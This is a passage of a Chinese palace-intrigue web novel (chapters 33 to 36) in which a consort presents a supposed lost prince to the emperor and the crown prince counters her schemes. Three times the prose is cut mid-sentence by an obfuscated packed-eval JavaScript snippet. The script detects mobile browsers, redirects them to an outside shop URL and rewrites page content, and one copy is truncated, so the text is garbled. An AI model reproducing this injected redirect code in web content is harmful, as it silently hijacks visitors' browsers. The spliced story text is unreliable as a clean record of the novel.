皇后听闻后,只是抱着年幼的容慎,长长地叹了一口气。 但皇帝对师翩的宠爱,始终带着一种克制与疏离。 哪怕后来师嫔诞下公主,晋封为妃。 哪怕公主夭折,为了安抚她,晋封为贵妃。 皇帝的心里始终有一条线—— 容慎必须是太子。 大晟的江山,只能交给嫡出的血脉。 这是他对先皇后的承诺。 所以,这几年来,无论师贵妃如何盛宠优渥,皇帝再也没在燕安宫留宿过。 甚至在先皇后薨逝后,他也从未动过立师贵妃为后的念头。 这态度,朝野上下都看在眼里。 师贵妃自然也明白。 她如今看似风光,实则如履薄冰。 只要没有皇子傍身,一旦老皇帝驾崩,容慎继位,她的下场只有死路一条。 她不甘心。 凭什么她只能做个替身? 凭什么她的荣华富贵要系在别人的一念之间? “洛……” 皇帝颤抖着双唇,吐出那个字,眼眶瞬间红了。 旧人之名再次被提起,尽管已过经年,依然能轻易激荡起他那颗早已枯死的心。 师贵妃看着皇帝的反应,眼中笑意更甚。 她知道,她赌对了。 “陛下。” 她伸出手,轻轻覆盖在皇帝那只枯瘦的手上,声音轻柔道:“臣妾也是偶然得知……当年洛姐姐被劫走时,其实……其实已经有了身孕。” “轰——” 仿佛一道惊雷劈在天灵盖上。 皇帝猛地坐直了身子,也不知哪里来的力气,一把反扣住师贵妃的手腕,力道大得几乎捏碎她的骨头。 “你说什么?!这怎么可能?!” 师贵妃心惊肉跳地努力让自己平静下来。 她真切地感到了雄狮愤怒起来的恐惧。 仿佛下一秒就能将她生吞活剥了去。 33. 第 33 章 师贵妃跪在地上,身子微微颤抖。 她抬起那张梨花带雨的脸,声音哽咽: “陛下,臣妾所言,句句属实。若有半句欺瞒,愿受天打雷劈之刑,只望陛下……开恩,怜惜那苦命的孩子。” 老皇帝坐在龙椅上,手背上的青筋根根暴起。他死死盯着下方那个女人。 “证据呢?” 他深吸一口气,强压下声音里的颤抖,“口说无凭,你上下嘴皮子一碰,朕便要信?你说那是朕的孩子,证据在哪?” 师贵妃轻声抛出一句:“陛下,那孩子……今年六岁了。” “轰——” 时间的确对上了。 老皇帝只觉得脑子里一阵眩晕,差点从龙椅上跌下来。 他指着师贵妃的手都在发抖,“那人在哪儿?洛夫人何在?!既然她在,为何不来见朕?为何这六年杳无音讯?!” 提到这个,师贵妃的身子伏得更低了,声音里透着一股让人心碎的绝望:“还有件事,臣妾不敢欺瞒。” “但说无妨!” 师贵妃缓缓抬起头,脸上满是哀凄,一双美目里蓄满了泪水,欲坠未坠,最是惹人怜惜。 “启禀陛下,洛姐姐她……生产之时伤了根本,这几年一直缠绵病榻,终究是……没有挺过来……” 说到此处,她已泣不成声,“前些日子臣妾才听闻噩耗,姐姐她……早在半年前,便已撒手人寰了。” “这不可能!” 皇帝猛地拍案而起,茶盏被震翻,茶水淋湿了奏折。 “陛下……”师贵妃哭得几乎晕厥,“若姐姐还在,她怎会不来见您?若非万不得已,她又怎会丢下年幼的孩子撒手而去?如今那孩子失去了母亲,漂泊无依,服侍洛姐姐的旧仆杨妈妈这才冒死联系臣妾,只求给孩子一条活路啊!” 皇帝颓然坐回龙椅,胸口剧烈起伏。 他是贪图美色,但他毕竟当了几十年的皇帝,还没到老糊涂的地步。 他眯起眼,目光如刀般审视着师贵妃的一举一动,试图从她脸上找出一丝破绽。 “即使你说的故事是真。”皇帝声音冰冷,“你又有什么证据证明,你带来的那个孩子,就是朕的血脉?若是随便找个野种来冒充皇嗣,你可知这是株连九族的大罪?!” 师贵妃似是被吓到了,瑟缩了一下,连忙擦了擦眼角的泪珠,哽咽道:“臣妾心知陛下会存疑。臣妾也清楚,民间的滴血认亲之法并不可靠,但臣妾这里有个物证,可证明姐姐当年离京时,确实怀的是陛下的亲骨肉!” 说着,她从袖中取出一封早已泛黄的信笺,双手呈过头顶。 张青快步上前取过,仔细检查了一番,才恭敬地呈给皇帝。 皇帝颤抖着手拆开信封。 信纸极薄,边缘已经磨损起毛,中间有几处陈旧的水渍洇开,显然是被泪水打湿过。 但那字迹…… “敬德吾兄:炎炎又一夏,宝哥刚刚开蒙,读《三百千》尚不熟练,终是为妹所累,漂泊无定……今恐药石无医,感念陛下……之子……若兄能面圣,求陛下照拂一二,妹虽死无憾也。妹泣书。” 洛夫人的兄长洛斐,字正是敬德。 这字迹娟秀中透着风骨,正是洛夫人的亲笔! 皇帝捧着那封信,如同捧着至宝。 “敬德……敬德……” 他咬牙切齿地念着这个名字,“洛斐已官拜五品,何故不上书于朕?!他竟敢知情不报,让朕的骨肉流落在外受苦?!” 师贵妃连忙磕头解释:“陛下息怒!此事不怪洛大人,是姐姐不愿牵连主家,至死都未将此信送出!这信一直在姐姐的贴身遗物中,并未寄到洛府,是臣妾的人在整理姐姐遗物时才寻到的。洛大人对此事并不知情啊!” 说罢,她又忍不住伏地呜咽起来。 皇帝疲惫地闭上眼睛,长长地叹了一口气。 “那孩子呢?” 许久之后,皇帝睁开眼,声音里透着一股前所未有的急切。 师贵妃深吸一口气,像是下定了什么决心一般,重重地磕了一个头。 “回陛下,前不久宫里刚刚修葺好的那座偏殿,臣妾见离中秋宫宴还有一段时日,便……便自作主张,将那孩子悄悄接进宫里暂住了。臣妾知罪,但臣妾实在不忍看那孩子流落街头,望陛下恕罪!” 难怪前些日子燕安宫突然要修葺偏殿,难怪师贵妃这些日子闭门谢客。 “既然如此……为何不立刻将他带来给朕瞧瞧?!” 师贵妃大喜过望,连忙叩首:“谨遵陛下旨意!臣妾这就让人去带!” …… 另一边,东宫。 涤墨刚从刑部那边回来,一身夜行衣上还沾着血迹和尘土,背后的伤口也没来得及处理,便急匆匆进了正殿跪下禀报。 “殿下,出事了。师贵妃带着个小孩往勤政殿去了。” “小孩?” 正在翻看兵书的容慎动作一顿,抬起眼皮,“多大?” “六七岁的样子。”涤墨神色凝重,“燕安宫好手段。咱们的人只盯着密道入口,没想到他们竟敢在我们眼皮子底下,借着修葺偏殿的名义,偷偷带了个小孩进宫。除了燕安宫的心腹,恐怕外人没有一个知晓。” 容慎闻言,并未动怒,反而随手从书架上挑了一本《百家姓》,慢条斯理地翻了起来。 涤墨心里打鼓。 这一本启蒙读物,殿下三岁不到就能倒背如流了,这时候拿出来看是个什么意思? “涤墨。” “属下在。” “派人去勤政殿通传。”容慎合上书卷,指尖在封皮上轻轻叩击,“就说孤回宫了,有关于北地狼卫的要事,需即刻面圣禀报。” 说完,他的目光落在涤墨背后渗血的伤口上,淡淡道:“伤如何了?” 涤墨连忙低头:“不敢让殿下操心,都是些皮外伤,养几日便能好全。” “行。”容慎嘴角勾起一抹意味深长的弧度,将书卷扔回桌案,“看看你们这次还能玩出什么花样。” 涤墨有些心虚地摸了摸鼻子,领命退下去了。 殿内只剩下容慎一人。 他低头看了看自己右手那缠得厚厚的绷带,而后面无表情地伸出左手,按在伤口处,猛地用力一捏。 殷红的鲜血迅速渗出,染红了洁白的绷带,触目惊心。 他随手扯下头上那象征太子威仪的金冠,任由墨发散落。 “走,去勤政殿。” …… 容慎乘着步辇赶到时,殿门依然紧闭。 事出紧急,容慎求见并无不妥,只是他人已经到御书房门口了,还不见皇帝屏退师贵妃。 容慎心知事情不妙。 御书房正中,师贵妃半跪在地上,怀里搂着个半大的男孩。 如涤墨所说,那孩子约莫六七岁,穿着一身不合体的锦缎衣裳,正怯生生地缩在师贵妃怀里,被她按着背脊也跪在地上。 皇帝听见了脚步声,猛地抬起头。 “快!慎儿!快来看看这是谁!” 容慎佯装不知,拖着那只还在滴血的手,踉跄着上前几步,垂眸看向那个孩子。 只一眼,他便在心里冷笑了一声。 好手段。 当年洛夫人在京仅仅月余,彼时容慎已经十六,正是记事的年纪。 尽管只见过洛夫人两面,但他对那位才女的容貌印象极深。 眼前这个孩子,眉眼之间,竟与洛夫人如出一辙。 师贵妃这招,不仅是险中求胜,简直是在拿九族的命在赌。 容慎收回目光,佯装没看见那孩子,恭恭敬敬地行了个大礼。 因为动作幅度过大,右手绷带上的血又渗出了一大片。 “父皇,关于北地狼卫行刺一事,儿臣有急报!那群贼人……” 皇帝这才反应过来。 太子刚刚虎口逃生,浑身是血地回来报信,眼下确实不是只顾着高兴自己父子相认的时候。 可是……看着眼前失而复得的小儿子,再看看那个已经被立为太子的长子,皇帝眼中的热度稍微冷却了几分。 “慎儿受苦了。” 皇帝敷衍地安抚了一句,目光却又忍不住往那个孩子身上飘,“狼卫之事稍后再议。你且先看看这个孩子。” 容慎顺着皇帝的目光,再次看向那个孩子。 他故作惊讶地挑了挑眉,眼神在师贵妃那张略显心虚的脸上转了一圈,又慢慢看向皇帝。 “这孩子……”他迟疑着开口。 皇帝见他这般反应,反而有些紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132741|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,忙道:“但说无妨!你看他……像谁?” 容慎抿了抿唇,似乎是在极力回忆,片刻后才轻声道:“多年之前,父皇宫中有位贵人……儿臣还以为是自己眼花了。这……这是儿臣逾矩,不该提此事,兴许是儿臣认错了。” 皇帝听得那个急啊,恨不得替他说出来:“有什么就说什么!朕恕你无罪便是!你以为是谁?!” 容慎思忖良久,才用一种笃定的语气道: “儿臣瞧着……这孩子眉眼间,像极了当年的洛夫人。若是洛夫人当年有孩子……应该也是这般岁数了。” “啪!” 皇帝激动得猛拍桌案,震得笔架都跳了起来。 “你也这么觉得!朕也觉得长得和洛夫人一模一样!朕原以为是自己忧思过重有些多想,连皇儿你也这么说,那便错不了了!” 皇帝大笑起来,“这就是朕的骨肉!是你同父异母的亲弟弟啊!” 师贵妃低下头,掩去嘴角那抹得逞的笑容。 赢了。 太子又如何?这就是洛姐姐如假包换的亲生儿子。容慎,你想跟我斗?还是太嫩了点! 容慎看着皇帝那副欣喜若狂的模样,心中毫无波澜,面上却露出恰到好处的惊喜与恭顺。 “儿臣,恭喜父皇与弟弟父子团聚!” 他再次行礼,随即转头看向师贵妃,温声问道,“母妃,这孩子多大了?可有名字?” 师贵妃早已准备好了说辞,连忙答道:“回太子殿下,六岁了,姐姐走得急,还未给这孩子起大名。姐姐在信中说,平日里就唤个小名,叫宝哥。” “宝哥……” 容慎点了点头,煞有介事地道,“既然是父皇所出,那便是正经的皇子了。这小名叫着总归不雅,还请父皇早日定夺,给皇弟赐名。该有的赏赐和份例,也不应少了,免得委屈了皇弟。” 皇帝很满意容慎这副兄友弟恭的态度,连带着看他的眼神都顺眼了不少。 只是……一提到封号,皇帝又面露难色。 “名字简单,朕回头让礼部拟几个好的。但这皇子的身份和封号……” 皇帝有些头疼。 这孩子是私生子,生母又是那种尴尬的身份。 若是大张旗鼓地认回来,那些御史言官怕是要撞死在勤政殿门口。 师贵妃见缝插针,一脸哀思地将孩子抱紧了些:“陛下,这是洛姐姐唯一的骨血。臣妾想着……姐姐已经不在了,不如就让臣妾将这孩子养在燕安宫里,如何?臣妾不求做他的母亲,但求能替姐姐尽一份心,尽到做姨娘的本分。” 皇帝眼睛一亮,觉得此法甚好。 现下后宫之中,也就燕安宫没孩子,养在她那里,名正言顺,也能堵住不少人的嘴。 可师贵妃只有一个夭折的公主,这在整个大晟朝都不是秘密。 她刚进宫不过三年,怎么可能生出一个六岁大的儿子? 除非直接追认洛夫人为后妃? 那更不可能了,那是给皇家抹黑,言官能把他骂死。 就在皇帝左右为难之际,一直沉默的容慎忽然开了口。 “父皇,儿臣有一计,或许可解父皇之忧。” 皇帝连忙问道:“皇儿有何良策?” 容慎微微一笑,那笑容在烛火下显得格外温良恭俭让。 “依儿臣之见,现下最稳妥的办法,便是对外宣称皇弟乃是父皇早年临幸的一位宫女所出。因那宫女身份低微且已故去,故而一直养在宫外。” 他顿了顿,继续道: “咱们只需寻个已经故去且身家清白的年轻宫女,追封个美人或是才人的名分,再将皇弟记在她名下。如此一来,皇弟便是庶出皇子,身份虽低了些,却也算名正言顺。 “然后再下旨,因生母早亡,特将皇弟交由贵妃娘娘亲自抚养。如此,既全了父皇的父子之情,也全了贵妃娘娘的姐妹之义,更能堵住言官们的悠悠之口。岂不两全其美?” 此言一出,殿内一片死寂。 皇帝愣住了,随即一拍大腿:“妙啊!此计甚妙!” 师贵妃却不可置信地看着容慎。 这正是她原本计划好的说辞! 可没想到,这番话竟然由容慎亲口提了出来? 这太子……莫不是个蠢的? 34. 第 34 章 师贵妃这招大胆,心里却并不算太有底。 毕竟一个消失多年的女子,在帝王心目中有多少分量,她说不准。 她现在说得好听是宠冠后宫,但后宫嫔妃本就不多,皇帝病了这许久不说,自她女儿夭折后,也不常来后宫了。 她只是在赌,显然,这把对局,她赢面很大。 “宝哥,今日你见到的那个就是当今太子,你以后遇见了,记得喊皇兄,嘴甜一些。” 宝哥乖巧地点头:“我知道了,姨娘。” 师贵妃面色一沉,立刻收住表情,对他展颜一笑:“刚刚不是说了,以后,你就是皇子了,对陛下,你要叫父皇,对太子,你要叫皇兄,对本宫,你得叫母妃。从现在开始,就不要喊我姨娘了,就喊母妃。知道了吗?” 宝哥瑟缩了一下:“是……母妃。” 师贵妃满意地眯着眼笑,笑意却未达眼底:“乖,真乖。” 皇帝显然看中洛夫人这个儿子,礼部动作神速,翌日便拟好了几个名字送去勤政殿,由张青亲自去燕安宫宣旨。 宝哥还没睡醒,师贵妃听闻气不打一处来。 “没用的东西,让嬷嬷直接泼一盆冷水,点他几句,他不想过好日子,本宫大可以把他送回破庙去餐风露宿,沿街乞讨!” 张青负手立在燕安宫外,懒得管身后的动静。 “也不知这大晟的皇宫,还要飘摇多久……” 身后的内侍垂着脑袋,心道干爹今日心情似乎不好,可万万不敢触干爹的霉头。 等孩子的呜咽声起了又停,已经过去了一刻钟。 那个宝哥才由嬷嬷领着,和师贵妃一起出来接旨。 师贵妃今日打扮得格外贵气,一身海棠醉日锦衣,艳得分外夺目。 张青的眼神却落在随着贵妃步步生莲而露出的明黄中衣上,疲惫地闭上眼睛,有点没眼看。 等燕安宫的人都规规矩矩跪好,张青才展开御旨,大声宣读。 “奉天承运皇帝诏曰:朕闻木有本而枝茂,水有源而流长。皇嗣者,国之重宝。忆旧年,遭逢离乱,有子流落沧溟,寄身草莽。六载寒暑,漂泊无依。每念及此,朕心痛矣。今苍天垂怜,遗珠复还,查其眉目,宛肖故人。温良恭俭,英毅果敢,兹赐名为恽。赐皇姓,入宗牒,叙齿为皇三子,封顺王,着师贵妃扶养。望尔洗尽尘霜,恪守孝悌。以慰朕迟暮之思,安先祖在天之灵。钦此。” 师贵妃听得心花怒放,事情有些顺利得出乎意料。 皇帝对这个孩子似乎极为上心,非但名字由陛下亲自挑选,连封号都一并赏了。 要知道二皇子颐王殿下十二才得了封号,洛姐姐在陛下心目中的地位,真是不容小觑。 “顺王殿下,该领旨谢恩了。”张青看着面前毫无反应一脸惨白的容恽,有些皱眉。 “张公公见谅,三皇子的礼仪规矩,本宫定会尽力教导,不敢懈怠。”师贵妃按住容恽的后脖颈,轻轻一施力,小孩几乎趴倒在地上。 张青不着痕迹地摇摇头,还是早些回去伺候陛下要紧,已经快到他老人家喝药的时辰了,此等大事,可不能耽搁。 三皇子认祖归宗一事并未大张旗鼓地宣扬,师贵妃也十分懂得见好就收,想要一步到位操之过急的话,只会被人当靶子,但时候还什么好处没捞着,自己就得兜着走。 容恽穿着不合身的锦服,不知所措地站在师贵妃面前。 “如今你这三皇子的身份已经是皇家祖宗都认了的,以后就得好好学规矩,做学问,知治国。这样,本宫会给你找夫子来,从识字开始。从明天起,每日寅时起床习字,听见没有?” 容恽憋红了脸,怯怯地问:“姨娘,寅时是什么时候啊?” “啪!” 师贵妃冷眼看着他:“蠢货,说了多少遍了,叫母妃,怎么就不长记性?” 容恽当即捂着脸,眼眶就红了。 嬷嬷在一旁叹气。 “娘娘,这,毕竟三皇子已经恢复了身份,可不能这样动辄打骂了,若让其他宫的人知道了……” 师贵妃烦躁地扶着额角:“真晦气,快把他带下去,今天就不要出来了,明天寅时直接跟先生上课。” 嬷嬷哄着容恽将他带回偏殿,师贵妃立马招来心腹婢女。 “去师家走一趟,跟父亲说,找个机灵点的门生来给三皇子补课。” 短短一句话,包含的信息巨大,但她相信父亲定能安排妥当。 再说了,若有哪里妥当不了,父亲自会去找沈丞相支招。 …… “三皇子?”叶小寻瞪大眼睛,差点跳起来。 祝凝在一旁小声提醒:“是呀,听说是陛下与心爱之人的孩子,还未满七岁,便已封王,还养在贵妃娘娘的宫里,那岂不就是……” 说到这,她不敢说了,小心翼翼地看了一眼容慎,他倒是什么反应也没有。 “不是说这个,”叶小寻道,“我怎么不知道还有个二皇子呀,从来没见过!” 祝凝:“……” 容慎:“……” 容慎将两个茶杯斟上雨花茶,其中一杯递到叶小寻面前。 “二皇弟是德妃所出,先天不足,常年缠绵病榻,所以颐王府也建在兰池宫旁,方便他疗养。德妃为了给二皇弟祈福,一直住在安国寺。他们都不愿意趟宫里的浑水,你没见过也正常。” 叶小寻恍然大悟似的点点头:“原来如此,躲远点好呀。还是你最惨啦,当了人家的大儿子,什么倒霉事都得拉你下水。” 她同情地拍了拍容慎握着茶杯的手。 “无所谓,习惯了。” 容慎长长的睫毛轻轻颤了颤,放下茶杯,“与其让事来找我,不如我去找事。” 叶小寻:“什……什么意思?” 她有点担心,刚刚平静下来的生活又要让她去玩玩心跳。 “到时候你就知道了。” 叶小寻气鼓鼓地看着容慎,每次都神神秘秘的,一点也不把她当自己人! 不过容慎对她的约束的确越来越松懈了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132742|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >院子里的宫人撤了大半,涤墨每日三遍过来点个卯,看到她老实呆着就行。 因此,她也发掘了不少东宫里有意思的地方。 最喜欢的活动还得属爬墙。 东宫有一处围墙外面是一片竹林,上头空间还宽敞。 白日端个果盘爬上去,竹影遮了毒辣的日光,边乘凉还能边吃果子看风景。 她看宫外影影绰绰的,宫外行走的宫人们也不太能注意到她。 尤其是穿碧色罗裙的时候,隐蔽性更强。 这一天她在竹林里居然看到一团紫色。 初看还以为眼花,仔细看看,才发现是个半大的孩子。 看那张气呼呼的脸,就不太像迷路,倒像是受了什么委屈跑出来的。 那天借由认三皇子回宫这个由头,祝凝才把大晟皇宫的皇子公主们都给她掰扯了一通,宫里本来就没多少子嗣,这么大的男孩,想来就是三皇子没跑了。 她是没见过皇帝,但这三皇子怎么看也跟容慎不像啊。 是因为儿子都像娘亲吗? 说起来,她也不知道先皇后长什么样。 不过看现在的容慎,想必先皇后在世时,也是一等一的美人了。 祝凝说,容慎是先皇后的独子,所以才当了太子。 可现在先皇后不在了,师贵妃如果哪天成了皇后,是不是养在她身边的三皇子也可能成为太子? 那容慎怎么办呢? 想到这里,她对眼前这个三皇子就喜欢不起来。 倒是生了些许戏耍他的念头。 她将葡萄籽吐了出来,眯起一只眼睛,准备——瞄准—— “哎哟,是谁!是谁在偷袭我!” 容恽捂着脸嗷嗷大叫,将燕安宫的宫人们都引了过来。 一看自己玩脱了,叶小寻赶紧溜之大吉。 “殿下,殿下!奴婢们可算找到你了,赶紧回去吧,夫子还没上完课呢!” “呜呜呜,我不想学了,我不想学,夫子打我手心,夫子打我手心!” 叶小寻后悔跳早了,在下面没有刚刚在上头听得清楚。 这台戏听起来攒劲啊! 她趴在墙上,努力想去听乐子。 “哈哈哈哈,哈哈哈哈哈!你是不知道!三皇子被习字先生打得跑出来了!原来皇帝的儿子也会逃课呀!” 叶小寻笑得满榻打滚,祝凝一个劲儿给她使眼色她也没看到。 “看来你也同意,三皇子不该因为被教训两下就不上课。” “呃……”容慎什么时候进来的,怎么祝凝不提醒她?好你个祝凝,出卖我。 叶小寻佯装生气地对着祝凝嘟起嘴来。 祝凝心里喊冤,苍天在上,她提醒过了! “那从明天开始,你也习字。” 叶小寻难以置信地看着容慎:“你说什么?不能吧?谁教我?” 容慎好整以暇地看着她:“孤亲自教你。” 这玩笑可不好笑,叶小寻有点儿想跳小池塘了…… 35. 第 35 章 没想到容慎说的教,是真教。 原本以为卯时起床用早膳已经很辛苦了,谁知容慎竟然让她刚过三更就起。 “你过分了!鸡都没我起得早!”叶小寻语带悲愤。 容慎不管其他,将一本书册塞进她怀里,屏退了准备伺候叶小寻梳洗的宫女,直接将她从禁被里捞了出来。 叶小寻不愿意,但也没办法,毕竟这是东宫,她说了不算,面前这位说了才算。 不过好在容慎不会过于苛责,花一个时辰教完,让她自己温习半个时辰,又让她回去睡个回笼觉。 叶小寻感激不尽,一头栽进梦乡。 今日皇帝精神头不错,传了容慎去勤政殿议事。 这个时节虽然白昼时天气已经十分闷热,但早晨结露时分尚有丝寒意。 勤政殿烧起了地龙。 张青守在外头告知容慎,故引他去偏殿换了一身单薄点的常服,才又折返去请安。 这一耽误,皇帝又睡意朦胧了。 容慎蹙起眉头。这不是好征兆,父皇最近身体每况愈下,今年恐怕是多事之秋。 张青略带歉意地道:“太子殿下,今日这恐怕……” 皇帝微弱的声音传来。 “来了?扶朕起来。” 张青赶忙上前,服侍皇帝坐正。 “儿臣给父皇请安。敢问父皇急召,所谓何事?” 皇帝有些头疼地扶着额头:“还不是因为你三皇弟。这么大了,居然连开蒙也未曾,千字文只会前两句,还背得磕磕巴巴的,真是……” 他气得急火攻心,又说不出半句狠话。 容慎思量片刻,温声道:“依儿臣看,起步慢一些,稳妥,根基扎稳了,才能枝繁叶茂。” 皇帝唉声叹气:“皇儿说的,朕何尝不知?只是那贵妃任性又护短,非说老三底子弱,去国子监指不定被官家少爷们欺负,只肯用师家请进宫的夫子。但……” 这么安排的确没问题,但若父皇也觉得没问题,便不会让他走这一遭。 容慎并没有急着接话,皇帝见状,继续道:“老三从小缺少宫里的管教,一时半会也纠不过来,这不,夫子稍微管教一下,就窜出燕安宫到处乱跑。” 这下君王的用意就明朗多了。 思及此,容慎启唇道:“儿臣有一策,或可为父皇分忧。” 皇帝饶有兴致道:“说说看。” “贵妃娘娘护子心切,乃性情中人,但师家请的夫子终归是外男,在宫中行走多有不便。皇弟之事,只要换个宫中的夫子开蒙便可。” 还不等皇帝继续发问,容慎继续道:“太傅教导儿臣多年,从儿臣开蒙到现在,治学之严,立身之正,父皇最是清楚。” 说到此,容慎抬眼观察了一下皇帝的表情:“三弟久在民间,性子难免跳脱。如今入了皇宗,寻常夫子想管也得顾虑身份,这样以来,更难管束了。唯有太傅这样的当世大儒,方能压得住阵脚,磨一磨他的性子。” 看得出皇帝十分欣赏他的态度,只是仍有顾虑:“太傅学问虽好,可年事已高。教导你一人已是耗神,那老三连字都认不全,若是让太傅从头教起,朕怕累着老太傅,也怕太傅那暴脾气,到时候闹得难看。” 容慎轻笑:“父皇多虑了。三弟虽然最近开蒙有些闹腾,但看得出来是个乖顺孩子,假以时日,必成大器。更何况,长兄如父。父皇操劳国事,日理万机,教导三弟本就应该是儿臣的份内之责。” 皇帝叹息着点点头:“你能这么想,朕甚感欣慰。” 容慎再道:“不如从明日起,让三弟每日晨起来东宫,随儿臣一同向太傅问学。有儿臣在一旁代为督促,也能为太傅分担一些。若三弟还学不好,父皇只管唯儿臣是问。” 皇帝闻言,怔然片刻。 看着眼前这个玉树临风的长子,再想想刚认回来的老三,心头涌起一股难言的情绪,更觉得对长子亏欠。 “好,好,好。”他朝容慎招手,待容慎上前来,皇帝拍了拍他的肩膀。 “难为你这般大度,若老三能有你一半出息,将来能从旁辅佐你一二,朕也就安心了。” 容慎垂下眼眸,藏起自己的情绪。 “既然你有这份心,朕便准了。” “儿臣,领旨。” …… 听了掌事嬷嬷的汇报,师贵妃眼前一亮。 “此话当真?” “娘娘,陛下亲自下的旨意,怎可能有假?” 师贵妃一阵狂喜,又迅速调整好表情,傲声道:“顺王殿下呢?赶紧叫过来,本宫有要事吩咐。” 容恽被禁足,不能出燕安宫半步,可六岁的孩子又闲不住,只能去小花园里捉蚯蚓。 每次都要费宫人们不少功夫才能寻到。 嬷嬷们找到他时,他一手的泥巴。 “殿下,你怎么……唉,罢了,罢了,赶紧随奴婢去洗洗。贵妃娘娘还在等着你呢。” 一听师贵妃的名号,容恽挣脱了嬷嬷的手,抱着一旁的槐树不肯松手。 “不,不去娘娘那,不去娘娘那。” 嬷嬷们紧张得要命,这顺王殿下只要一开嗓子,没三炷香的功夫是停不下来的。 好说歹说安慰下来,连哄带骗去见师贵妃,容恽脸上还挂着泪珠。 师贵妃一看他这样就烦躁。 “又是怎么了?整天就知道哭哭哭,学问是读不进半点,将来怎能成器?” 她坐回软榻上,冷眼看着容恽道:“从明天开始,你就能自由进出东宫了,以后就由本朝太傅宋大人亲自教导你,你可不要让本宫失望。” 容恽瑟瑟发抖地看了一眼扶着他肩膀不让他逃走的嬷嬷,怯生生道:“儿臣知道了,母妃。” 孺子可教也。 师贵妃很满意这次的回答,继续嘱咐: “日常学问自然不能懈怠,还有一事你也得上心——东宫太子有位正妃,至今没有露过脸,你行走东宫时,记得去找机会探一探太子妃的住处。” 容恽睁大了眼睛,嬷嬷跟他说,皇宫里处处都是主子,所以哪里都不能乱跑。 他是皇子,等顺王府建成以后,是要出去开府的,在那之前,宫里的主子少得罪微妙。 容恽自己也觉得嬷嬷说得有道理,毕竟他生母不在宫中,贵妃娘娘虽是他养母,却不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132743|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。若不夹起尾巴做人,指不定会比在宫外漂泊时被欺辱得更狠。 他想得久了,完全忘了眼前还有个师贵妃。 见孩子完全不把她放在眼里,师贵妃又是一巴掌过去了。 “洛姐姐也算是大晟朝有名的才女了,怎么生出你这么个愚笨的。本宫刚才说的话你可听清楚了?” “东宫,东宫是太子哥哥的宫殿,儿臣不应该乱闯的……” “啪!” 容恽两边脸又肿了。嬷嬷看着不忍心,才六岁的孩子,这么打下去,别真出了什么问题才好啊。 但她也只能看着,伺候贵妃多年,她心知此刻若出来劝,顺王殿下只会被打得更惨。 “蠢货。你才六岁,贪玩走错路,乱跑一下,不小心钻进了偏殿也好寝殿也罢,他太子有什么理由罚你?跟你娘流浪这么久,还没学会如何生存吗?也难怪你娘被你拖累死了。” 容恽藏在袖子里的拳头紧紧握起来。 …… 叶小寻坐在小池塘边,裤腿卷到膝上,白玉似的小腿在水里踢来踢去。 “我没听错吧?明天要把那小孩子叫来东宫?他乱跑进我寝殿怎么办?” 祝凝在一旁给她递水晶皂儿糕。 每次喂两三个就会被叶小寻反过来喂一个。 “你也吃,我们一起吃。” 祝凝被塞了一满嘴糕点,咽下去才道:“太傅和太子素来在书房治学,顺王殿下也会同去书房,和寝殿不在同一个方向,娘娘放心。” 叶小寻唉声叹气:“我不是不放心殿下,我是不放心师贵妃。师贵妃养出来的孩子能是什么样子啊,想想就愁。” 祝凝含笑低头继续分糕点。 叶小寻说的她也赞同,只是碍于身份,她可不能随意评价主子。 “算啦,我看容慎把人叫到东宫来也没安好心,咱们等着瞧好了,我若说中了,你就去托涤墨大人给我买糖葫芦来。” 祝凝苦哈哈地想,娘娘现在胆子肥了,说的话没几句她能接的。 如祝凝所说,容慎安排得周到,容恽来东宫开蒙,并没有对她的生活造成任何影响。 还以为会有新乐子,没成想生活变得平淡无奇,别说出宫了,出个寝殿涤墨都安排了暗卫在旁边埋伏着。 她总算摸清了容慎的算盘,难怪让她起这么早,如此一来,她学完一轮去睡回笼觉了,顺王殿下才会来东宫。 两边打不到照面,稳妥。 容恽那边也不好过。 宋大人文人风骨,治学极严,虽然不打他手心了,但背不下来就留堂,三日不到容恽已经力不从心。 若只是单纯的课业倒也罢,对他而言最痛苦的是每次从东宫回燕安宫的时候。 他被宋大人搓磨得精疲力尽,皇兄也不会偏帮他,还教育他做学问就是得吃苦。 如此一来,他如何还能想起师贵妃吩咐的旁事。 于是每每回燕安宫,还得承受师贵妃的怒火。 “罢了,本宫再想想其他办法。” 一直打,也要打着有用才行。 “替我去和张公公传个信,晚点我再煲点汤带给陛下。” 36. 第 36 章 叶小寻这天喝完药,将药渣倒入一旁的木托中,赶紧拿起一旁的龙井甜酥塞进嘴里,一时间茶香扑鼻,甜而不腻,这道点心最近荣登她心目中的宫廷糕点榜首。 祝凝过来收药渣,叶小寻叫住她:“怎么这个甜酥只给一块!我还想多吃几口!” 